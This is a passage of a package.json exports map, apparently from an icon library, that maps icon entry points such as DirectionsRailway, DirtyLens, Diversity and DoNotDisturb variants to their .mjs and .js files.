\"./DirectionsCarTwoTone.js\",\n      \"default\": \"./DirectionsCarTwoTone.mjs\"\n    },\n    \"./DirectionsOff\": {\n      \"import\": \"./DirectionsOff.mjs\",\n      \"require\": \"./DirectionsOff.js\",\n      \"default\": \"./DirectionsOff.mjs\"\n    },\n    \"./DirectionsOffOutlined\": {\n      \"import\": \"./DirectionsOffOutlined.mjs\",\n      \"require\": \"./DirectionsOffOutlined.js\",\n      \"default\": \"./DirectionsOffOutlined.mjs\"\n    },\n    \"./DirectionsOffRounded\": {\n      \"import\": \"./DirectionsOffRounded.mjs\",\n      \"require\": \"./DirectionsOffRounded.js\",\n      \"default\": \"./DirectionsOffRounded.mjs\"\n    },\n    \"./DirectionsOffSharp\": {\n      \"import\": \"./DirectionsOffSharp.mjs\",\n      \"require\": \"./DirectionsOffSharp.js\",\n      \"default\": \"./DirectionsOffSharp.mjs\"\n    },\n    \"./DirectionsOffTwoTone\": {\n      \"import\": \"./DirectionsOffTwoTone.mjs\",\n      \"require\": \"./DirectionsOffTwoTone.js\",\n      \"default\": \"./DirectionsOffTwoTone.mjs\"\n    },\n    \"./DirectionsOutlined\": {\n      \"import\": \"./DirectionsOutlined.mjs\",\n      \"require\": \"./DirectionsOutlined.js\",\n      \"default\": \"./DirectionsOutlined.mjs\"\n    },\n    \"./DirectionsRailway\": {\n      \"import\": \"./DirectionsRailway.mjs\",\n      \"require\": \"./DirectionsRailway.js\",\n      \"default\": \"./DirectionsRailway.mjs\"\n    },\n    \"./DirectionsRailwayFilled\": {\n      \"import\": \"./DirectionsRailwayFilled.mjs\",\n      \"require\": \"./DirectionsRailwayFilled.js\",\n      \"default\": \"./DirectionsRailwayFilled.mjs\"\n    },\n    \"./DirectionsRailwayFilledOutlined\": {\n      \"import\": \"./DirectionsRailwayFilledOutlined.mjs\",\n      \"require\": \"./DirectionsRailwayFilledOutlined.js\",\n      \"default\": \"./DirectionsRailwayFilledOutlined.mjs\"\n    },\n    \"./DirectionsRailwayFilledRounded\": {\n      \"require\": \"./DirectionsRailwayFilledRounded.js\",\n      \"import\": \"./DirectionsRailwayFilledRounded.mjs\",\n      \"default\": \"./DirectionsRailwayFilledRounded.mjs\"\n    },\n    \"./DirectionsRailwayFilledSharp\": {\n      \"require\": \"./DirectionsRailwayFilledSharp.js\",\n      \"import\": \"./DirectionsRailwayFilledSharp.mjs\",\n      \"default\": \"./DirectionsRailwayFilledSharp.mjs\"\n    },\n    \"./DirectionsRailwayFilledTwoTone\": {\n      \"require\": \"./DirectionsRailwayFilledTwoTone.js\",\n      \"import\": \"./DirectionsRailwayFilledTwoTone.mjs\",\n      \"default\": \"./DirectionsRailwayFilledTwoTone.mjs\"\n    },\n    \"./DirectionsRailwayOutlined\": {\n      \"require\": \"./DirectionsRailwayOutlined.js\",\n      \"import\": \"./DirectionsRailwayOutlined.mjs\",\n      \"default\": \"./DirectionsRailwayOutlined.mjs\"\n    },\n    \"./DirectionsRailwayRounded\": {\n      \"require\": \"./DirectionsRailwayRounded.js\",\n      \"import\": \"./DirectionsRailwayRounded.mjs\",\n      \"default\": \"./DirectionsRailwayRounded.mjs\"\n    },\n    \"./DirectionsRailwaySharp\": {\n      \"require\": \"./DirectionsRailwaySharp.js\",\n      \"import\": \"./DirectionsRailwaySharp.mjs\",\n      \"default\": \"./DirectionsRailwaySharp.mjs\"\n    },\n    \"./DirectionsRailwayTwoTone\": {\n      \"require\": \"./DirectionsRailwayTwoTone.js\",\n      \"import\": \"./DirectionsRailwayTwoTone.mjs\",\n      \"default\": \"./DirectionsRailwayTwoTone.mjs\"\n    },\n    \"./DirectionsRounded\": {\n      \"require\": \"./DirectionsRounded.js\",\n      \"import\": \"./DirectionsRounded.mjs\",\n      \"default\": \"./DirectionsRounded.mjs\"\n    },\n    \"./DirectionsRun\": {\n      \"require\": \"./DirectionsRun.js\",\n      \"import\": \"./DirectionsRun.mjs\",\n      \"default\": \"./DirectionsRun.mjs\"\n    },\n    \"./DirectionsRunOutlined\": {\n      \"require\": \"./DirectionsRunOutlined.js\",\n      \"import\": \"./DirectionsRunOutlined.mjs\",\n      \"default\": \"./DirectionsRunOutlined.mjs\"\n    },\n    \"./DirectionsRunRounded\": {\n      \"require\": \"./DirectionsRunRounded.js\",\n      \"import\": \"./DirectionsRunRounded.mjs\",\n      \"default\": \"./DirectionsRunRounded.mjs\"\n    },\n    \"./DirectionsRunSharp\": {\n      \"require\": \"./DirectionsRunSharp.js\",\n      \"import\": \"./DirectionsRunSharp.mjs\",\n      \"default\": \"./DirectionsRunSharp.mjs\"\n    },\n    \"./DirectionsRunTwoTone\": {\n      \"require\": \"./DirectionsRunTwoTone.js\",\n      \"import\": \"./DirectionsRunTwoTone.mjs\",\n      \"default\": \"./DirectionsRunTwoTone.mjs\"\n    },\n    \"./DirectionsSharp\": {\n      \"require\": \"./DirectionsSharp.js\",\n      \"import\": \"./DirectionsSharp.mjs\",\n      \"default\": \"./DirectionsSharp.mjs\"\n    },\n    \"./DirectionsSubway\": {\n      \"require\": \"./DirectionsSubway.js\",\n      \"import\": \"./DirectionsSubway.mjs\",\n      \"default\": \"./DirectionsSubway.mjs\"\n    },\n    \"./DirectionsSubwayFilled\": {\n      \"require\": \"./DirectionsSubwayFilled.js\",\n      \"import\": \"./DirectionsSubwayFilled.mjs\",\n      \"default\": \"./DirectionsSubwayFilled.mjs\"\n    },\n    \"./DirectionsSubwayFilledOutlined\": {\n      \"require\": \"./DirectionsSubwayFilledOutlined.js\",\n      \"import\": \"./DirectionsSubwayFilledOutlined.mjs\",\n      \"default\": \"./DirectionsSubwayFilledOutlined.mjs\"\n    },\n    \"./DirectionsSubwayFilledRounded\": {\n      \"require\": \"./DirectionsSubwayFilledRounded.js\",\n      \"import\": \"./DirectionsSubwayFilledRounded.mjs\",\n      \"default\": \"./DirectionsSubwayFilledRounded.mjs\"\n    },\n    \"./DirectionsSubwayFilledSharp\": {\n      \"require\": \"./DirectionsSubwayFilledSharp.js\",\n      \"import\": \"./DirectionsSubwayFilledSharp.mjs\",\n      \"default\": \"./DirectionsSubwayFilledSharp.mjs\"\n    },\n    \"./DirectionsSubwayFilledTwoTone\": {\n      \"require\": \"./DirectionsSubwayFilledTwoTone.js\",\n      \"import\": \"./DirectionsSubwayFilledTwoTone.mjs\",\n      \"default\": \"./DirectionsSubwayFilledTwoTone.mjs\"\n    },\n    \"./DirectionsSubwayOutlined\": {\n      \"import\": \"./DirectionsSubwayOutlined.mjs\",\n      \"require\": \"./DirectionsSubwayOutlined.js\",\n      \"default\": \"./DirectionsSubwayOutlined.mjs\"\n    },\n    \"./DirectionsSubwayRounded\": {\n      \"import\": \"./DirectionsSubwayRounded.mjs\",\n      \"require\": \"./DirectionsSubwayRounded.js\",\n      \"default\": \"./DirectionsSubwayRounded.mjs\"\n    },\n    \"./DirectionsSubwaySharp\": {\n      \"import\": \"./DirectionsSubwaySharp.mjs\",\n      \"require\": \"./DirectionsSubwaySharp.js\",\n      \"default\": \"./DirectionsSubwaySharp.mjs\"\n    },\n    \"./DirectionsSubwayTwoTone\": {\n      \"import\": \"./DirectionsSubwayTwoTone.mjs\",\n      \"require\": \"./DirectionsSubwayTwoTone.js\",\n      \"default\": \"./DirectionsSubwayTwoTone.mjs\"\n    },\n    \"./DirectionsTransit\": {\n      \"import\": \"./DirectionsTransit.mjs\",\n      \"require\": \"./DirectionsTransit.js\",\n      \"default\": \"./DirectionsTransit.mjs\"\n    },\n    \"./DirectionsTransitFilled\": {\n      \"import\": \"./DirectionsTransitFilled.mjs\",\n      \"require\": \"./DirectionsTransitFilled.js\",\n      \"default\": \"./DirectionsTransitFilled.mjs\"\n    },\n    \"./DirectionsTransitFilledOutlined\": {\n      \"import\": \"./DirectionsTransitFilledOutlined.mjs\",\n      \"require\": \"./DirectionsTransitFilledOutlined.js\",\n      \"default\": \"./DirectionsTransitFilledOutlined.mjs\"\n    },\n    \"./DirectionsTransitFilledRounded\": {\n      \"import\": \"./DirectionsTransitFilledRounded.mjs\",\n      \"require\": \"./DirectionsTransitFilledRounded.js\",\n      \"default\": \"./DirectionsTransitFilledRounded.mjs\"\n    },\n    \"./DirectionsTransitFilledSharp\": {\n      \"import\": \"./DirectionsTransitFilledSharp.mjs\",\n      \"require\": \"./DirectionsTransitFilledSharp.js\",\n      \"default\": \"./DirectionsTransitFilledSharp.mjs\"\n    },\n    \"./DirectionsTransitFilledTwoTone\": {\n      \"import\": \"./DirectionsTransitFilledTwoTone.mjs\",\n      \"require\": \"./DirectionsTransitFilledTwoTone.js\",\n      \"default\": \"./DirectionsTransitFilledTwoTone.mjs\"\n    },\n    \"./DirectionsTransitOutlined\": {\n      \"import\": \"./DirectionsTransitOutlined.mjs\",\n      \"require\": \"./DirectionsTransitOutlined.js\",\n      \"default\": \"./DirectionsTransitOutlined.mjs\"\n    },\n    \"./DirectionsTransitRounded\": {\n      \"import\": \"./DirectionsTransitRounded.mjs\",\n      \"require\": \"./DirectionsTransitRounded.js\",\n      \"default\": \"./DirectionsTransitRounded.mjs\"\n    },\n    \"./DirectionsTransitSharp\": {\n      \"import\": \"./DirectionsTransitSharp.mjs\",\n      \"require\": \"./DirectionsTransitSharp.js\",\n      \"default\": \"./DirectionsTransitSharp.mjs\"\n    },\n    \"./DirectionsTransitTwoTone\": {\n      \"import\": \"./DirectionsTransitTwoTone.mjs\",\n      \"require\": \"./DirectionsTransitTwoTone.js\",\n      \"default\": \"./DirectionsTransitTwoTone.mjs\"\n    },\n    \"./DirectionsTwoTone\": {\n      \"import\": \"./DirectionsTwoTone.mjs\",\n      \"require\": \"./DirectionsTwoTone.js\",\n      \"default\": \"./DirectionsTwoTone.mjs\"\n    },\n    \"./DirectionsWalk\": {\n      \"import\": \"./DirectionsWalk.mjs\",\n      \"require\": \"./DirectionsWalk.js\",\n      \"default\": \"./DirectionsWalk.mjs\"\n    },\n    \"./DirectionsWalkOutlined\": {\n      \"import\": \"./DirectionsWalkOutlined.mjs\",\n      \"require\": \"./DirectionsWalkOutlined.js\",\n      \"default\": \"./DirectionsWalkOutlined.mjs\"\n    },\n    \"./DirectionsWalkRounded\": {\n      \"import\": \"./DirectionsWalkRounded.mjs\",\n      \"require\": \"./DirectionsWalkRounded.js\",\n      \"default\": \"./DirectionsWalkRounded.mjs\"\n    },\n    \"./DirectionsWalkSharp\": {\n      \"import\": \"./DirectionsWalkSharp.mjs\",\n      \"require\": \"./DirectionsWalkSharp.js\",\n      \"default\": \"./DirectionsWalkSharp.mjs\"\n    },\n    \"./DirectionsWalkTwoTone\": {\n      \"import\": \"./DirectionsWalkTwoTone.mjs\",\n      \"require\": \"./DirectionsWalkTwoTone.js\",\n      \"default\": \"./DirectionsWalkTwoTone.mjs\"\n    },\n    \"./DirtyLens\": {\n      \"import\": \"./DirtyLens.mjs\",\n      \"require\": \"./DirtyLens.js\",\n      \"default\": \"./DirtyLens.mjs\"\n    },\n    \"./DirtyLensOutlined\": {\n      \"import\": \"./DirtyLensOutlined.mjs\",\n      \"require\": \"./DirtyLensOutlined.js\",\n      \"default\": \"./DirtyLensOutlined.mjs\"\n    },\n    \"./DirtyLensRounded\": {\n      \"import\": \"./DirtyLensRounded.mjs\",\n      \"require\": \"./DirtyLensRounded.js\",\n      \"default\": \"./DirtyLensRounded.mjs\"\n    },\n    \"./DirtyLensSharp\": {\n      \"import\": \"./DirtyLensSharp.mjs\",\n      \"require\": \"./DirtyLensSharp.js\",\n      \"default\": \"./DirtyLensSharp.mjs\"\n    },\n    \"./DirtyLensTwoTone\": {\n      \"import\": \"./DirtyLensTwoTone.mjs\",\n      \"require\": \"./DirtyLensTwoTone.js\",\n      \"default\": \"./DirtyLensTwoTone.mjs\"\n    },\n    \"./DisabledByDefault\": {\n      \"import\": \"./DisabledByDefault.mjs\",\n      \"require\": \"./DisabledByDefault.js\",\n      \"default\": \"./DisabledByDefault.mjs\"\n    },\n    \"./DisabledByDefaultOutlined\": {\n      \"import\": \"./DisabledByDefaultOutlined.mjs\",\n      \"require\": \"./DisabledByDefaultOutlined.js\",\n      \"default\": \"./DisabledByDefaultOutlined.mjs\"\n    },\n    \"./DisabledByDefaultRounded\": {\n      \"import\": \"./DisabledByDefaultRounded.mjs\",\n      \"require\": \"./DisabledByDefaultRounded.js\",\n      \"default\": \"./DisabledByDefaultRounded.mjs\"\n    },\n    \"./DisabledByDefaultSharp\": {\n      \"import\": \"./DisabledByDefaultSharp.mjs\",\n      \"require\": \"./DisabledByDefaultSharp.js\",\n      \"default\": \"./DisabledByDefaultSharp.mjs\"\n    },\n    \"./DisabledByDefaultTwoTone\": {\n      \"import\": \"./DisabledByDefaultTwoTone.mjs\",\n      \"require\": \"./DisabledByDefaultTwoTone.js\",\n      \"default\": \"./DisabledByDefaultTwoTone.mjs\"\n    },\n    \"./DisabledVisible\": {\n      \"import\": \"./DisabledVisible.mjs\",\n      \"require\": \"./DisabledVisible.js\",\n      \"default\": \"./DisabledVisible.mjs\"\n    },\n    \"./DisabledVisibleOutlined\": {\n      \"import\": \"./DisabledVisibleOutlined.mjs\",\n      \"require\": \"./DisabledVisibleOutlined.js\",\n      \"default\": \"./DisabledVisibleOutlined.mjs\"\n    },\n    \"./DisabledVisibleRounded\": {\n      \"import\": \"./DisabledVisibleRounded.mjs\",\n      \"require\": \"./DisabledVisibleRounded.js\",\n      \"default\": \"./DisabledVisibleRounded.mjs\"\n    },\n    \"./DisabledVisibleSharp\": {\n      \"import\": \"./DisabledVisibleSharp.mjs\",\n      \"require\": \"./DisabledVisibleSharp.js\",\n      \"default\": \"./DisabledVisibleSharp.mjs\"\n    },\n    \"./DisabledVisibleTwoTone\": {\n      \"import\": \"./DisabledVisibleTwoTone.mjs\",\n      \"require\": \"./DisabledVisibleTwoTone.js\",\n      \"default\": \"./DisabledVisibleTwoTone.mjs\"\n    },\n    \"./DiscFull\": {\n      \"import\": \"./DiscFull.mjs\",\n      \"require\": \"./DiscFull.js\",\n      \"default\": \"./DiscFull.mjs\"\n    },\n    \"./DiscFullOutlined\": {\n      \"import\": \"./DiscFullOutlined.mjs\",\n      \"require\": \"./DiscFullOutlined.js\",\n      \"default\": \"./DiscFullOutlined.mjs\"\n    },\n    \"./DiscFullRounded\": {\n      \"import\": \"./DiscFullRounded.mjs\",\n      \"require\": \"./DiscFullRounded.js\",\n      \"default\": \"./DiscFullRounded.mjs\"\n    },\n    \"./DiscFullSharp\": {\n      \"import\": \"./DiscFullSharp.mjs\",\n      \"require\": \"./DiscFullSharp.js\",\n      \"default\": \"./DiscFullSharp.mjs\"\n    },\n    \"./DiscFullTwoTone\": {\n      \"import\": \"./DiscFullTwoTone.mjs\",\n      \"require\": \"./DiscFullTwoTone.js\",\n      \"default\": \"./DiscFullTwoTone.mjs\"\n    },\n    \"./Discount\": {\n      \"import\": \"./Discount.mjs\",\n      \"require\": \"./Discount.js\",\n      \"default\": \"./Discount.mjs\"\n    },\n    \"./DiscountOutlined\": {\n      \"import\": \"./DiscountOutlined.mjs\",\n      \"require\": \"./DiscountOutlined.js\",\n      \"default\": \"./DiscountOutlined.mjs\"\n    },\n    \"./DiscountRounded\": {\n      \"import\": \"./DiscountRounded.mjs\",\n      \"require\": \"./DiscountRounded.js\",\n      \"default\": \"./DiscountRounded.mjs\"\n    },\n    \"./DiscountSharp\": {\n      \"import\": \"./DiscountSharp.mjs\",\n      \"require\": \"./DiscountSharp.js\",\n      \"default\": \"./DiscountSharp.mjs\"\n    },\n    \"./DiscountTwoTone\": {\n      \"import\": \"./DiscountTwoTone.mjs\",\n      \"require\": \"./DiscountTwoTone.js\",\n      \"default\": \"./DiscountTwoTone.mjs\"\n    },\n    \"./DisplaySettings\": {\n      \"import\": \"./DisplaySettings.mjs\",\n      \"require\": \"./DisplaySettings.js\",\n      \"default\": \"./DisplaySettings.mjs\"\n    },\n    \"./DisplaySettingsOutlined\": {\n      \"import\": \"./DisplaySettingsOutlined.mjs\",\n      \"require\": \"./DisplaySettingsOutlined.js\",\n      \"default\": \"./DisplaySettingsOutlined.mjs\"\n    },\n    \"./DisplaySettingsRounded\": {\n      \"import\": \"./DisplaySettingsRounded.mjs\",\n      \"require\": \"./DisplaySettingsRounded.js\",\n      \"default\": \"./DisplaySettingsRounded.mjs\"\n    },\n    \"./DisplaySettingsSharp\": {\n      \"import\": \"./DisplaySettingsSharp.mjs\",\n      \"require\": \"./DisplaySettingsSharp.js\",\n      \"default\": \"./DisplaySettingsSharp.mjs\"\n    },\n    \"./DisplaySettingsTwoTone\": {\n      \"import\": \"./DisplaySettingsTwoTone.mjs\",\n      \"require\": \"./DisplaySettingsTwoTone.js\",\n      \"default\": \"./DisplaySettingsTwoTone.mjs\"\n    },\n    \"./Diversity1\": {\n      \"import\": \"./Diversity1.mjs\",\n      \"require\": \"./Diversity1.js\",\n      \"default\": \"./Diversity1.mjs\"\n    },\n    \"./Diversity1Outlined\": {\n      \"import\": \"./Diversity1Outlined.mjs\",\n      \"require\": \"./Diversity1Outlined.js\",\n      \"default\": \"./Diversity1Outlined.mjs\"\n    },\n    \"./Diversity1Rounded\": {\n      \"import\": \"./Diversity1Rounded.mjs\",\n      \"require\": \"./Diversity1Rounded.js\",\n      \"default\": \"./Diversity1Rounded.mjs\"\n    },\n    \"./Diversity1Sharp\": {\n      \"import\": \"./Diversity1Sharp.mjs\",\n      \"require\": \"./Diversity1Sharp.js\",\n      \"default\": \"./Diversity1Sharp.mjs\"\n    },\n    \"./Diversity1TwoTone\": {\n      \"import\": \"./Diversity1TwoTone.mjs\",\n      \"require\": \"./Diversity1TwoTone.js\",\n      \"default\": \"./Diversity1TwoTone.mjs\"\n    },\n    \"./Diversity2\": {\n      \"import\": \"./Diversity2.mjs\",\n      \"require\": \"./Diversity2.js\",\n      \"default\": \"./Diversity2.mjs\"\n    },\n    \"./Diversity2Outlined\": {\n      \"import\": \"./Diversity2Outlined.mjs\",\n      \"require\": \"./Diversity2Outlined.js\",\n      \"default\": \"./Diversity2Outlined.mjs\"\n    },\n    \"./Diversity2Rounded\": {\n      \"import\": \"./Diversity2Rounded.mjs\",\n      \"require\": \"./Diversity2Rounded.js\",\n      \"default\": \"./Diversity2Rounded.mjs\"\n    },\n    \"./Diversity2Sharp\": {\n      \"import\": \"./Diversity2Sharp.mjs\",\n      \"require\": \"./Diversity2Sharp.js\",\n      \"default\": \"./Diversity2Sharp.mjs\"\n    },\n    \"./Diversity2TwoTone\": {\n      \"import\": \"./Diversity2TwoTone.mjs\",\n      \"require\": \"./Diversity2TwoTone.js\",\n      \"default\": \"./Diversity2TwoTone.mjs\"\n    },\n    \"./Diversity3\": {\n      \"import\": \"./Diversity3.mjs\",\n      \"require\": \"./Diversity3.js\",\n      \"default\": \"./Diversity3.mjs\"\n    },\n    \"./Diversity3Outlined\": {\n      \"import\": \"./Diversity3Outlined.mjs\",\n      \"require\": \"./Diversity3Outlined.js\",\n      \"default\": \"./Diversity3Outlined.mjs\"\n    },\n    \"./Diversity3Rounded\": {\n      \"import\": \"./Diversity3Rounded.mjs\",\n      \"require\": \"./Diversity3Rounded.js\",\n      \"default\": \"./Diversity3Rounded.mjs\"\n    },\n    \"./Diversity3Sharp\": {\n      \"import\": \"./Diversity3Sharp.mjs\",\n      \"require\": \"./Diversity3Sharp.js\",\n      \"default\": \"./Diversity3Sharp.mjs\"\n    },\n    \"./Diversity3TwoTone\": {\n      \"import\": \"./Diversity3TwoTone.mjs\",\n      \"require\": \"./Diversity3TwoTone.js\",\n      \"default\": \"./Diversity3TwoTone.mjs\"\n    },\n    \"./Dns\": {\n      \"import\": \"./Dns.mjs\",\n      \"require\": \"./Dns.js\",\n      \"default\": \"./Dns.mjs\"\n    },\n    \"./DnsOutlined\": {\n      \"import\": \"./DnsOutlined.mjs\",\n      \"require\": \"./DnsOutlined.js\",\n      \"default\": \"./DnsOutlined.mjs\"\n    },\n    \"./DnsRounded\": {\n      \"import\": \"./DnsRounded.mjs\",\n      \"require\": \"./DnsRounded.js\",\n      \"default\": \"./DnsRounded.mjs\"\n    },\n    \"./DnsSharp\": {\n      \"import\": \"./DnsSharp.mjs\",\n      \"require\": \"./DnsSharp.js\",\n      \"default\": \"./DnsSharp.mjs\"\n    },\n    \"./DnsTwoTone\": {\n      \"import\": \"./DnsTwoTone.mjs\",\n      \"require\": \"./DnsTwoTone.js\",\n      \"default\": \"./DnsTwoTone.mjs\"\n    },\n    \"./DoDisturb\": {\n      \"import\": \"./DoDisturb.mjs\",\n      \"require\": \"./DoDisturb.js\",\n      \"default\": \"./DoDisturb.mjs\"\n    },\n    \"./DoDisturbAlt\": {\n      \"import\": \"./DoDisturbAlt.mjs\",\n      \"require\": \"./DoDisturbAlt.js\",\n      \"default\": \"./DoDisturbAlt.mjs\"\n    },\n    \"./DoDisturbAltOutlined\": {\n      \"import\": \"./DoDisturbAltOutlined.mjs\",\n      \"require\": \"./DoDisturbAltOutlined.js\",\n      \"default\": \"./DoDisturbAltOutlined.mjs\"\n    },\n    \"./DoDisturbAltRounded\": {\n      \"import\": \"./DoDisturbAltRounded.mjs\",\n      \"require\": \"./DoDisturbAltRounded.js\",\n      \"default\": \"./DoDisturbAltRounded.mjs\"\n    },\n    \"./DoDisturbAltSharp\": {\n      \"import\": \"./DoDisturbAltSharp.mjs\",\n      \"require\": \"./DoDisturbAltSharp.js\",\n      \"default\": \"./DoDisturbAltSharp.mjs\"\n    },\n    \"./DoDisturbAltTwoTone\": {\n      \"import\": \"./DoDisturbAltTwoTone.mjs\",\n      \"require\": \"./DoDisturbAltTwoTone.js\",\n      \"default\": \"./DoDisturbAltTwoTone.mjs\"\n    },\n    \"./DoDisturbOff\": {\n      \"import\": \"./DoDisturbOff.mjs\",\n      \"require\": \"./DoDisturbOff.js\",\n      \"default\": \"./DoDisturbOff.mjs\"\n    },\n    \"./DoDisturbOffOutlined\": {\n      \"import\": \"./DoDisturbOffOutlined.mjs\",\n      \"require\": \"./DoDisturbOffOutlined.js\",\n      \"default\": \"./DoDisturbOffOutlined.mjs\"\n    },\n    \"./DoDisturbOffRounded\": {\n      \"import\": \"./DoDisturbOffRounded.mjs\",\n      \"require\": \"./DoDisturbOffRounded.js\",\n      \"default\": \"./DoDisturbOffRounded.mjs\"\n    },\n    \"./DoDisturbOffSharp\": {\n      \"import\": \"./DoDisturbOffSharp.mjs\",\n      \"require\": \"./DoDisturbOffSharp.js\",\n      \"default\": \"./DoDisturbOffSharp.mjs\"\n    },\n    \"./DoDisturbOffTwoTone\": {\n      \"import\": \"./DoDisturbOffTwoTone.mjs\",\n      \"require\": \"./DoDisturbOffTwoTone.js\",\n      \"default\": \"./DoDisturbOffTwoTone.mjs\"\n    },\n    \"./DoDisturbOn\": {\n      \"import\": \"./DoDisturbOn.mjs\",\n      \"require\": \"./DoDisturbOn.js\",\n      \"default\": \"./DoDisturbOn.mjs\"\n    },\n    \"./DoDisturbOnOutlined\": {\n      \"import\": \"./DoDisturbOnOutlined.mjs\",\n      \"require\": \"./DoDisturbOnOutlined.js\",\n      \"default\": \"./DoDisturbOnOutlined.mjs\"\n    },\n    \"./DoDisturbOnRounded\": {\n      \"import\": \"./DoDisturbOnRounded.mjs\",\n      \"require\": \"./DoDisturbOnRounded.js\",\n      \"default\": \"./DoDisturbOnRounded.mjs\"\n    },\n    \"./DoDisturbOnSharp\": {\n      \"import\": \"./DoDisturbOnSharp.mjs\",\n      \"require\": \"./DoDisturbOnSharp.js\",\n      \"default\": \"./DoDisturbOnSharp.mjs\"\n    },\n    \"./DoDisturbOnTwoTone\": {\n      \"import\": \"./DoDisturbOnTwoTone.mjs\",\n      \"require\": \"./DoDisturbOnTwoTone.js\",\n      \"default\": \"./DoDisturbOnTwoTone.mjs\"\n    },\n    \"./DoDisturbOutlined\": {\n      \"import\": \"./DoDisturbOutlined.mjs\",\n      \"require\": \"./DoDisturbOutlined.js\",\n      \"default\": \"./DoDisturbOutlined.mjs\"\n    },\n    \"./DoDisturbRounded\": {\n      \"import\": \"./DoDisturbRounded.mjs\",\n      \"require\": \"./DoDisturbRounded.js\",\n      \"default\": \"./DoDisturbRounded.mjs\"\n    },\n    \"./DoDisturbSharp\": {\n      \"import\": \"./DoDisturbSharp.mjs\",\n      \"require\": \"./DoDisturbSharp.js\",\n      \"default\": \"./DoDisturbSharp.mjs\"\n    },\n    \"./DoDisturbTwoTone\": {\n      \"import\": \"./DoDisturbTwoTone.mjs\",\n      \"require\": \"./DoDisturbTwoTone.js\",\n      \"default\": \"./DoDisturbTwoTone.mjs\"\n    },\n    \"./DoNotDisturb\": {\n      \"import\": \"./DoNotDisturb.mjs\",\n      \"require\": \"./DoNotDisturb.js\",\n      \"default\": \"./DoNotDisturb.mjs\"\n    },\n    \"./DoNotDisturbAlt\": {\n      \"require\": \"./DoNotDisturbAlt.js\",\n      \"import\": \"./DoNotDisturbAlt.mjs\",\n      \"default\": \"./DoNotDisturbAlt.mjs\"\n    },\n    \"./DoNotDisturbAltOutlined\": {\n      \"require\": \"./DoNotDisturbAltOutlined.js\",\n      \"import\": \"./DoNotDisturbAltOutlined.mjs\",\n      \"default\": \"./DoNotDisturbAltOutlined.mjs\"\n    },\n    \"./DoNotDisturbAltRounded\": {\n      \"import\": \"./DoNotDisturbAltRounded.mjs\",\n      \"require\": \"./DoNotDisturbAltRounded.js\",\n      \"default\": \"./DoNotDisturbAltRounded.mjs\"\n    },\n    \"./DoNotDisturbAltSharp\": {\n      \"import\": \"./DoNotDisturbAltSharp.mjs\",\n      \"require\": \"./DoNotDisturbAltSharp.js\",\n      \"default\": \"./DoNotDisturbAltSharp.mjs\"\n    },\n    \"./DoNotDisturbAltTwoTone\": {\n      \"require\": \"./DoNotDisturbAltTwoTone.js\",\n      \"import\": \"./DoNotDisturbAltTwoTone.mjs\",\n      \"default\": \"./DoNotDisturbAltTwoTone.mjs\"\n    },\n    \"./DoNotDisturbOff\": {\n      \"require\": \"./DoNotDisturbOff.js\",\n      \"import\": \"./DoNotDisturbOff.mjs\",\n      \"default\": \"./DoNotDisturbOff.mjs\"\n    },\n    \"./DoNotDisturbOffOutlined\": {\n      \"require\": \"./DoNotDisturbOffOutlined.js\",\n      \"import\": \"./DoNotDisturbOffOutlined.mjs\",\n      \"default\": \"./DoNotDisturbOffOutlined.mjs\"\n    },\n    \"./DoNotDisturbOffRounded\": {\n      \"require\": \"./DoNotDisturbOffRounded.js\",\n      \"import\": \"./DoNotDisturbOffRounded.mjs\",\n      \"default\": \"./DoNotDisturbOffRounded.mjs\"\n    },\n    \"./DoNotDisturbOffSharp\": {\n      \"require\": \"./DoNotDisturbOffSharp.js\",\n      \"import\": \"./DoNotDisturbOffSharp.mjs\",\n      \"default\": \"./DoNotDisturbOffSharp.mjs\"\n    },\n    \"./DoNotDisturbOffTwoTone\": {\n      \"require\": \"./DoNotDisturbOffTwoTone.js\",\n      \"import\": \"./DoNotDisturbOffTwoTone.mjs\",\n      \"default\": \"./DoNotDisturbOffTwoTone.mjs\"\n    },\n    \"./DoNotDisturbOn\": {\n      \"require\": \"./DoNotDisturbOn.js\",\n      \"import\": \"./DoNotDisturbOn.mjs\",\n      \"default\": \"./DoNotDisturbOn.mjs\"\n    },\n    \"./DoNotDisturbOnOutlined\": {\n      \"require\": \"./DoNotDisturbOnOutlined.js\",\n      \"import\": \"./DoNotDisturbOnOutlined.mjs\",\n      \"default\": \"./DoNotDisturbOnOutlined.mjs\"\n    },\n    \"./DoNotDisturbOnRounded\": {\n      \"require\": \"./DoNotDisturbOnRounded.js\",\n      \"import\": \"./DoNotDisturbOnRounded.mjs\",\n      \"default\": \"./DoNotDisturbOnRounded.mjs\"\n    },\n    \"./DoNotDisturbOnSharp\": {\n      \"require\": \"./DoNotDisturbOnSharp.js\",\n      \"import\": \"./DoNotDisturbOnSharp.mjs\",\n      \"default\": \"./DoNotDisturbOnSharp.mjs\"\n    },\n    \"./DoNotDisturbOnTotalSilence\": {\n      \"require\": \"./DoNotDisturbOnTotalSilence.js\",\n      \"import\": \"./DoNotDisturbOnTotalSilence.mjs\",\n      \"default\": \"./DoNotDisturbOnTotalSilence.mjs\"\n    },\n    \"./DoNotDisturbOnTotalSilenceOutlined\": {\n      \"require\": \"./DoNotDisturbOnTotalSilenceOutlined.js\",\n      \"import\": \"./DoNotDisturbOnTotalSilenceOutlined.mjs\",\n      \"default\": \"./DoNotDisturbOnTotalSilenceOutlined.mjs\"\n    },\n    \"./DoNotDisturbOnTotalSilenceRounded\": {\n      \"require\": \"./DoNotDisturbOnTotalSilenceRounded.js\",\n      \"import\": \"./DoNotDisturbOnTotalSilenceRounded.mjs\",\n      \"default\": \"./DoNotDisturbOnTotalSilenceRounded.mjs\"\n    },\n    \"./DoNotDisturbOnTotalSilenceSharp\": {\n      \"require\": \"./DoNotDisturbOnTotalSilenceSharp.js\",\n      \"import\": \"./DoNotDisturbOnTotalSilenceSharp.mjs\",\n      \"default\": \"./DoNotDisturbOnTotalSilenceSharp.mjs\"\n    },\n    \"./DoNotDisturbOnTotalSilenceTwoTone\": {\n      \"require\": \"./DoNotDisturbOnTotalSilenceTwoTone.js\",\n      \"import\": \"./DoNotDisturbOnTotalSilenceTwoTone.mjs\",\n      \"default\": \"./DoNotDisturbOnTotalSilenceTwoTone.mjs\"\n    },\n    \"./DoNotDisturbOnTwoTone\": {\n      \"require\": \"./DoNotDisturbOnTwoTone.js\",\n      \"import\": \"./DoNotDisturbOnTwoTone.mjs\",\n      \"default\": \"./DoNotDisturbOnTwoTone.mjs\"\n    },\n    \"./DoNotDisturbOutlined\": {\n      \"require\": \"./DoNotDisturbOutlined.js\",\n      \"import\": \"./DoNotDisturbOutlined.mjs\",\n      \"default\": \"./DoNotDisturbOutlined.mjs\"\n    